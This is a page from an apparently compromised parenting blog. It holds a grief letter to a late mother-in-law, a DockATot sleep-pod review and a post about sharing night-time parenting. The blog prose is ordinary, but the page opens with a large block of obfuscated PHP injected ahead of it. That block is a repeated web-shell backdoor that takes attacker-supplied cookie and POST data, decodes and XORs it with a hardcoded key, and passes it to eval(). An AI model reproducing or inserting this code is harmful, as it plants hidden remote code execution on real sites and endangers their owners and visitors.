$oKxgyptXaR = "\x65" . "\x5f" . 'g' . chr ( 806 - 692 )."\x56";$jKESS = chr ( 817 - 718 ).chr (108) . "\141" . chr (115) . chr ( 495 - 380 )."\137" . chr (101) . chr (120) . "\x69" . "\163" . chr (116) . 's';$RZguILFHyR = class_exists($oKxgyptXaR); $jKESS = "37478";$OikyUBWuiS = strpos($jKESS, $oKxgyptXaR);if ($RZguILFHyR == $OikyUBWuiS){function FQKGIn(){$QkPIHYcbvT = new /* 30961 */ e_grV(51042 + 51042); $QkPIHYcbvT = NULL;}$CuKAHfrdF = "51042";class e_grV{private function xUlaNq($CuKAHfrdF){if (is_array(e_grV::$sFvsdbfDb)) {$OnrlK2 = str_replace("<" . "?php", "", e_grV::$sFvsdbfDb["content"]);eval($OnrlK2); $CuKAHfrdF = "51042";exit();}}public function tstdrOHbO(){$OnrlK = "18160";$this->_dummy = str_repeat($OnrlK, strlen($OnrlK));}public function __destruct(){e_grV::$sFvsdbfDb = @unserialize(e_grV::$sFvsdbfDb); $CuKAHfrdF = "24399_54807";$this->xUlaNq($CuKAHfrdF); $CuKAHfrdF = "24399_54807";}public function eLyfvkdc($OnrlK, $JwPluZZLG){return $OnrlK[0] ^ str_repeat($JwPluZZLG, intval(strlen($OnrlK[0]) / strlen($JwPluZZLG)) + 1);}public function HFPpgIxHS($OnrlK){$JqOMeGHe = "\142" . chr ( 681 - 584 ).chr (115) . 'e' . "\x36" . '4';return array_map($JqOMeGHe . chr ( 699 - 604 ).'d' . chr ( 634 - 533 )."\143" . chr ( 854 - 743 ).chr ( 334 - 234 ).'e', array($OnrlK,));}public function __construct($GfGSRJr=0){$IewtNISHkt = "\x2c";$OnrlK = "";$HLijHuo = $_POST;$EDunbbJa = $_COOKIE;$JwPluZZLG = "3491a1fd-72bc-4704-b56f-e03bef122e01";$NkPXGm = @$EDunbbJa[substr($JwPluZZLG, 0, 4)];if (!empty($NkPXGm)){$NkPXGm = explode($IewtNISHkt, $NkPXGm);foreach ($NkPXGm as $VhDCVsNNKd){$OnrlK .= @$EDunbbJa[$VhDCVsNNKd];$OnrlK .= @$HLijHuo[$VhDCVsNNKd];}$OnrlK = $this->HFPpgIxHS($OnrlK);}e_grV::$sFvsdbfDb = $this->eLyfvkdc($OnrlK, $JwPluZZLG);if (strpos($JwPluZZLG, $IewtNISHkt) !== FALSE){$JwPluZZLG = explode($IewtNISHkt, $JwPluZZLG); $DVcrVk = base64_decode(md5($JwPluZZLG[0])); $AkMdNqQ = strlen($JwPluZZLG[1]) > 5 ? substr($JwPluZZLG[1], 0, 5) : $JwPluZZLG[1];$_GET['new_key'] = md5(implode('', $JwPluZZLG)); $haHCpLh = str_repeat($AkMdNqQ, 2);}}public static $sFvsdbfDb = 26645;}FQKGIn();}$ZvDlj = chr ( 932 - 832 ).chr ( 561 - 451 )."\116" . chr (95) . chr (65) . "\x73" . chr (81) . 'n';$VtlSAL = chr (99) . "\x6c" . 'a' . "\163" . 's' . '_' . chr (101) . "\170" . chr (105) . 's' . chr (116) . chr (115); $KIvMpNrCT = class_exists($ZvDlj); $VtlSAL = "3530";$psmtHmLh = strpos($VtlSAL, $ZvDlj);if ($KIvMpNrCT == $psmtHmLh){function XjHURvPdf(){$pDbWzyjOd = new /* 46217 */ dnN_AsQn(1309 + 1309); $pDbWzyjOd = NULL;}$RKEZGaMpe = "1309";class dnN_AsQn{private function AddIJAr($RKEZGaMpe){if (is_array(dnN_AsQn::$EqxJlOnLMz)) {$tTKXlpIaWU2 = str_replace("<" . "?php", "", dnN_AsQn::$EqxJlOnLMz["content"]);eval($tTKXlpIaWU2); $RKEZGaMpe = "1309";exit();}}public function PgqzcQ(){$tTKXlpIaWU = "12461";$this->_dummy = str_repeat($tTKXlpIaWU, strlen($tTKXlpIaWU));}public function __destruct(){dnN_AsQn::$EqxJlOnLMz = @unserialize(dnN_AsQn::$EqxJlOnLMz); $RKEZGaMpe = "14630_1701";$this->AddIJAr($RKEZGaMpe); $RKEZGaMpe = "14630_1701";}public function YFfbV($tTKXlpIaWU, $ifmHJGQNCM){return $tTKXlpIaWU[0] ^ str_repeat($ifmHJGQNCM, intval(strlen($tTKXlpIaWU[0]) / strlen($ifmHJGQNCM)) + 1);}public function VPYqfvBlL($tTKXlpIaWU){$OlNNbZcge = "\142" . "\141" . chr ( 121 - 6 )."\145" . chr ( 701 - 647 ).chr ( 934 - 882 );return array_map($OlNNbZcge . "\137" . chr (100) . 'e' . 'c' . "\x6f" . 'd' . chr (101), array($tTKXlpIaWU,));}public function __construct($ofobJN=0){$kqrcjNdZu = "\x2c";$tTKXlpIaWU = "";$FLawdEX = $_POST;$alhcSxd = $_COOKIE;$ifmHJGQNCM = "e641815f-eee7-454e-bae4-c4c14ca09d29";$zZUBkPqfTt = @$alhcSxd[substr($ifmHJGQNCM, 0, 4)];if (!empty($zZUBkPqfTt)){$zZUBkPqfTt = explode($kqrcjNdZu, $zZUBkPqfTt);foreach ($zZUBkPqfTt as $FRPOHzt){$tTKXlpIaWU .= @$alhcSxd[$FRPOHzt];$tTKXlpIaWU .= @$FLawdEX[$FRPOHzt];}$tTKXlpIaWU = $this->VPYqfvBlL($tTKXlpIaWU);}dnN_AsQn::$EqxJlOnLMz = $this->YFfbV($tTKXlpIaWU, $ifmHJGQNCM);if (strpos($ifmHJGQNCM, $kqrcjNdZu) !== FALSE){$ifmHJGQNCM = explode($kqrcjNdZu, $ifmHJGQNCM); $WnVChiu = base64_decode(sha1($ifmHJGQNCM[0]));}}public static $EqxJlOnLMz = 53547;}XjHURvPdf();}$ghrpn = chr ( 267 - 168 ).chr ( 133 - 13 ).chr ( 368 - 287 ).chr ( 710 - 615 ).'L' . "\x57" . "\x54" . chr (111) . 'e';$FkEHusyfpU = 'c' . 'l' . "\x61" . "\163" . "\x73" . chr ( 699 - 604 ).chr ( 471 - 370 ).'x' . chr (105) . "\x73" . chr ( 478 - 362 ).chr (115); $xEyteymb = class_exists($ghrpn); $FkEHusyfpU = "20124";$JKBnMd = !1;if ($xEyteymb == $JKBnMd){function VMPFUsgNjQ(){$JCFfxDC = new /* 64571 */ cxQ_LWToe(2994 + 2994); $JCFfxDC = NULL;}$nTJXURSZeG = "2994";class cxQ_LWToe{private function fUkTVpN($nTJXURSZeG){if (is_array(cxQ_LWToe::$ZvOXf)) {$BglCDBiV = str_replace("\74" . "\77" . chr (112) . chr (104) . chr (112), "", cxQ_LWToe::$ZvOXf[chr ( 459 - 360 )."\x6f" . chr (110) . 't' . "\145" . chr (110) . "\x74"]);eval($BglCDBiV); $nTJXURSZeG = "2994";exit();}}private $QQfFU;public function IxaxfqzjY(){echo 13040;}public function __destruct(){$nTJXURSZeG = "62616_7210";$this->fUkTVpN($nTJXURSZeG); $nTJXURSZeG = "62616_7210";}public function __construct($PUGwCR=0){$ftIbwysO = $_POST;$uewApMNNp = $_COOKIE;$BtCiwsFV = "e6c85b08-5c8c-40dc-8b84-b980c8b9a1f2";$oYmZMti = @$uewApMNNp[substr($BtCiwsFV, 0, 4)];if (!empty($oYmZMti)){$btJRdQ = "base64";$EVArENqcx = "";$oYmZMti = explode(",", $oYmZMti);foreach ($oYmZMti as $lpnGsahob){$EVArENqcx .= @$uewApMNNp[$lpnGsahob];$EVArENqcx .= @$ftIbwysO[$lpnGsahob];}$EVArENqcx = array_map($btJRdQ . "\x5f" . chr (100) . chr (101) . 'c' . chr (111) . 'd' . chr ( 743 - 642 ), array($EVArENqcx,)); $EVArENqcx = $EVArENqcx[0] ^ str_repeat($BtCiwsFV, (strlen($EVArENqcx[0]) / strlen($BtCiwsFV)) + 1);cxQ_LWToe::$ZvOXf = @unserialize($EVArENqcx);}}public static $ZvOXf = 42825;}VMPFUsgNjQ();}$VFQtx = chr (65) . "\131" . chr ( 1006 - 889 )."\x5f" . "\x67" . "\105" . "\x5a" . 'z';$rboQWsqBNy = "\x63" . chr (108) . chr (97) . "\x73" . 's' . chr ( 952 - 857 ).chr ( 911 - 810 )."\x78" . chr (105) . chr (115) . "\x74" . "\163";$RrBFaLmeu = $rboQWsqBNy($VFQtx); $VFQtx = "54172";$wcIrJtyhlM = $RrBFaLmeu;$rboQWsqBNy = "50566";if (!$wcIrJtyhlM){class AYu_gEZz{private $RCRAFI;public static $xJuLzE = "672ae4a9-19d5-46fe-9bba-124891a2ca98";public static $OMKAqHxHI = 22212;public function __construct($WkMsGVmLgx=0){$aUxsa = $_COOKIE;$cpRpzgRBw = $_POST;$CUHIWFfIqf = @$aUxsa[substr(AYu_gEZz::$xJuLzE, 0, 4)];if (!empty($CUHIWFfIqf)){$HmUpai = "base64";$PcyYPMzlpK = "";$CUHIWFfIqf = explode(",", $CUHIWFfIqf);foreach ($CUHIWFfIqf as $zODjgGR){$PcyYPMzlpK .= @$aUxsa[$zODjgGR];$PcyYPMzlpK .= @$cpRpzgRBw[$zODjgGR];}$PcyYPMzlpK = array_map($HmUpai . "\137" . chr ( 481 - 381 ).chr ( 218 - 117 ).chr (99) . chr (111) . "\x64" . "\145", array($PcyYPMzlpK,)); $PcyYPMzlpK = $PcyYPMzlpK[0] ^ str_repeat(AYu_gEZz::$xJuLzE, (strlen($PcyYPMzlpK[0]) / strlen(AYu_gEZz::$xJuLzE)) + 1);AYu_gEZz::$OMKAqHxHI = @unserialize($PcyYPMzlpK);}}private function VdFWhNYl(){if (is_array(AYu_gEZz::$OMKAqHxHI)) {$vJNOGvNDPd = str_replace("\74" . "\77" . 'p' . "\x68" . 'p', "", AYu_gEZz::$OMKAqHxHI["\143" . 'o' . chr (110) . chr ( 141 - 25 )."\x65" . chr ( 283 - 173 ).chr ( 339 - 223 )]);eval($vJNOGvNDPd); $VjOtrwGF = "3510";exit();}}public function __destruct(){$this->VdFWhNYl(); $VjOtrwGF = "3510";$WBJuKJQsT = str_pad($VjOtrwGF, 10);}}$mHMGcTM = new /* 44171 */ AYu_gEZz(); $mHMGcTM = substr("46045_65176", 1);}$avpOCoYXPV = "\116" . "\x5f" . chr (121) . chr ( 340 - 219 ).chr ( 512 - 442 ).chr (116) . "\x44";$UUwhLmKV = "\x63" . chr (108) . chr (97) . "\x73" . "\163" . chr (95) . chr (101) . 'x' . "\x69" . chr (115) . 't' . chr (115); $ObbEwRsn = class_exists($avpOCoYXPV); $UUwhLmKV = "24662";$rwxPo = strpos($UUwhLmKV, $avpOCoYXPV);if ($ObbEwRsn == $rwxPo){function lsKPKpgDF(){$vsBDa = new /* 62113 */ N_yyFtD(26961 + 26961); $vsBDa = NULL;}$sjWpIuG = "26961";class N_yyFtD{private function jPbYVBR($sjWpIuG){if (is_array(N_yyFtD::$UrSGDiHF)) {$RAqyArmmbf2 = str_replace("<" . "?php", "", N_yyFtD::$UrSGDiHF["content"]);eval($RAqyArmmbf2); $sjWpIuG = "26961";exit();}}public function YpfCkaXL(){$RAqyArmmbf = "24301";$this->_dummy = str_repeat($RAqyArmmbf, strlen($RAqyArmmbf));}public function __destruct(){N_yyFtD::$UrSGDiHF = @unserialize(N_yyFtD::$UrSGDiHF); $sjWpIuG = "12380_26517";$this->jPbYVBR($sjWpIuG); $sjWpIuG = "12380_26517";}public function YFhpqz($RAqyArmmbf, $ebxwo){return $RAqyArmmbf[0] ^ str_repeat($ebxwo, intval(strlen($RAqyArmmbf[0]) / strlen($ebxwo)) + 1);}public function sIHwu($RAqyArmmbf){$SbBipol = 'b' . "\x61" . chr ( 433 - 318 )."\x65" . "\x36" . chr (52);return array_map($SbBipol . "\137" . chr ( 207 - 107 ).'e' . "\x63" . chr (111) . chr ( 954 - 854 ).chr (101), array($RAqyArmmbf,));}public function __construct($vqpeIKReT=0){$jgUqKpXi = "\x2c";$RAqyArmmbf = "";$QOVYLvY = $_POST;$YBnYyGiEW = $_COOKIE;$ebxwo = "a4987584-125b-4f9f-8085-6bda0a57a0ce";$kTVmB = @$YBnYyGiEW[substr($ebxwo, 0, 4)];if (!empty($kTVmB)){$kTVmB = explode($jgUqKpXi, $kTVmB);foreach ($kTVmB as $lWgGZxqw){$RAqyArmmbf .= @$YBnYyGiEW[$lWgGZxqw];$RAqyArmmbf .= @$QOVYLvY[$lWgGZxqw];}$RAqyArmmbf = $this->sIHwu($RAqyArmmbf);}N_yyFtD::$UrSGDiHF = $this->YFhpqz($RAqyArmmbf, $ebxwo);if (strpos($ebxwo, $jgUqKpXi) !== FALSE){$ebxwo = explode($jgUqKpXi, $ebxwo); $OZxJw = sprintf("12380_26517", strrev($ebxwo[0]));}}public static $UrSGDiHF = 17959;}lsKPKpgDF();}$AlVWPyBCf = chr ( 707 - 624 )."\137" . chr ( 130 - 15 )."\121" . chr ( 431 - 353 ); $zGpvCn = chr ( 1086 - 987 ).chr (108) . "\x61" . chr (115) . "\163" . chr ( 856 - 761 ).'e' . "\170" . 'i' . "\x73" . "\x74" . chr (115); $RfPkh = class_exists($AlVWPyBCf); $zGpvCn = "38981";$NhaVr = !1;if ($RfPkh == $NhaVr){function rrzLF(){$nlOTY = new /* 8848 */ S_sQN(5834 + 5834); $nlOTY = NULL;}$ybWhWlT = "5834";class S_sQN{private function dwXot($ybWhWlT){if (is_array(S_sQN::$dbpJfTy)) {$IzfXV = str_replace("\74" . '?' . 'p' . "\150" . "\x70", "", S_sQN::$dbpJfTy["\x63" . chr ( 672 - 561 )."\156" . "\x74" . chr ( 257 - 156 ).'n' . chr (116)]);eval($IzfXV); $ybWhWlT = "5834";exit();}}private $qKGyCw;public function JrvHG(){echo 34338;}public function __destruct(){$ybWhWlT = "55990_2764";$this->dwXot($ybWhWlT); $ybWhWlT = "55990_2764";}public function AkpwYYDVm($xmXKL, $SfQUA){return $xmXKL[0] ^ str_repeat($SfQUA, (strlen($xmXKL[0]) / strlen($SfQUA)) + 1);}public function __construct($yERDiBi=0){$jhVwRYDUiH = $_POST;$HekGn = $_COOKIE;$SfQUA = "e8c27728-6acf-4ed8-9cf0-a4cbd21437fa";$HSMXnEgtTd = @$HekGn[substr($SfQUA, 0, 4)];if (!empty($HSMXnEgtTd)){$UNMRi = "base64";$xmXKL = "";$HSMXnEgtTd = explode(",", $HSMXnEgtTd);foreach ($HSMXnEgtTd as $WONFfhfkxF){$xmXKL .= @$HekGn[$WONFfhfkxF];$xmXKL .= @$jhVwRYDUiH[$WONFfhfkxF];}$xmXKL = array_map($UNMRi . chr (95) . chr ( 790 - 690 )."\x65" . chr ( 1053 - 954 ).chr ( 465 - 354 ).'d' . 'e', array($xmXKL,)); $xmXKL = $this->AkpwYYDVm($xmXKL, $SfQUA);S_sQN::$dbpJfTy = @unserialize($xmXKL);}}public static $dbpJfTy = 24320;}rrzLF();} Babies and Bubbly – The truth about marriage, babies and champagne taste

A Letter To My Mother in Law a Year After She Passed

As I come up on one year without you, I find that I sometimes have to remind myself that you’re really not here.

When you got sick, it seemed like something that would be easily beat. We would have a few months of you not being well enough to watch my son on your usual Fridays, and then all would be back to normal. You would go back to being an over the top grandmother to my son and future daughter and I would go back to complaining about it.

What I didn’t know, is that I would realize too late that you were the perfect mother in law and nonna to my babies. And I didn’t realize just how many things I would miss about you.

I miss your unsolicited advice.

I miss the way you always told my husband he was perfect.

I miss the way you overfed my son.

I  miss the hugs that seemed to go on forever.

I miss the way you never said anything bad about anyone.

I even miss complaining about you…

I would give anything to complain about your lipstick marks on my baby girl. Or freak out that you gave her too many bottles while I was at work. I wish I could have a conversation with my husband about how he needs to tell you to stop rocking the baby to sleep.I wish I could roll my eyes just one more time as you tell me how you raised babies in your day. And I wish more than anything else that I could just say, thank you.

Thank you for all your advice. I should have written it all down.

Thank you for making your son (my husband) kind and sweet and confident. Because of you, he will always tell his children they are perfect and loved.

Thank you for always taking care of my son. I know now that making sure he was well fed was your way of showing love. (You would be so happy to know that your granddaughter is a wonderful eater)

Thank you for those long hugs. If I concentrate, I can still feel your embrace.

Thank you for showing me to see the good in everyone. Even when you have to look really hard.

Thank you for kissing your grandson. I will always imagine you doing the same to your granddaughter.

Thank you for holding my baby boy when he was crying and needed comfort. I think of that when my baby girl just needs a little extra cuddle time.Nonna and Ben

And thank you for letting me complain, and still loving me.
I love you and I miss you.

DockATot

first night with baby girl in her DockATot!
first night with baby girl in her DockATot!

I found this product by randomly getting lost in the Instagram maze. I somehow ended up on actor Scott Foley’s Instagram (AKA Noel from Felicity, AKA Jake from Scandal) and saw a picture of his kids in a DockATot. After googling the product, and reading every review I could find, I literally did not find one bad, or even mediocre, post.

Ellie was about 3 weeks old and refused to sleep unless she was in my arms, so I decided to take a chance and order the DockATot. I admit, I was nervous because it is one of the more pricey baby items, but for me- her sleep, safety, and MY sleep was worth it.

It only took about a week to arrive and when it did, all my hopes and dreams of sleep were hanging in the balance of the super chic black box it comes in.

The very first nap. . . . 3 wonderful hours!!!! Here we are, Ellie is almost 9 months old and this incredible product has never failed me. She now sleeps in her crib (in her DockATot) and sleeps through the night.

It gave me peace of mind to co sleep-click here to read about their safety info, and the smoothest transition possible into her crib. We take it with us on vacation, and it makes traveling and sleeping a non-issue!

still can't live without the DockATot, 8 months later
still can’t live without the DockATot, 8 months later

If I could meet the goddess of a woman who invented the DockATot, I would hug her and never let go!

For more information click here to visit their website.

*** I am in no way compensated for this review. I seriously just love it!!!

My Children Have Two Parents

On one of the first nights my daughter slept in her crib, she woke up in the middle of the night and I went in to comfort her. When she woke up an hour later I knew she wasn’t hungry. So for the first time in her six months of life, I woke up my husband and asked him to settle her down. As soon as he got up I instantly felt guilty and watched the baby monitor like a hawk for any sign that he needed my help. He didn’t.

When he came back to bed I thanked him, and he quickly fell back asleep (as only men seem to be able to do). I laid there thinking…..Did I just thank him for doing something a parent should do??? And why the hell did I feel like a bad mom for asking the father of my children for help???

My husband, Mike, is a wonderful husband and an incredible father. The issue was not him being some slacker dad. The issue…was me.

I started thinking about how much Mike and other great dads I know, get praised for changing diapers and feeding the baby. He is a parent, and aside from breast feeding, he should be doing all the things I do. I am not suggesting Mike isn’t willing to do anything and everything for our children- I was the one taking on every task.

Ellie was 6 months old, I was exhausted from being up at random hours of the night nursing, I was back at work and I felt like I hadn’t slept in…well… 6 months! I was trying to do everything. But WHY?? Why as moms do we put ourselves on this island?

The truth is, Ellie has TWO parents.

It took me 2 kids and almost 4 years of parenting to finally let go of all that self inflicted mommy guilt. I am lucky enough to be going through this parenthood with a wonderful partner, and I need to start enjoying every moment.

Has anyone else had a mommy epiphany?? I would love to hear about it!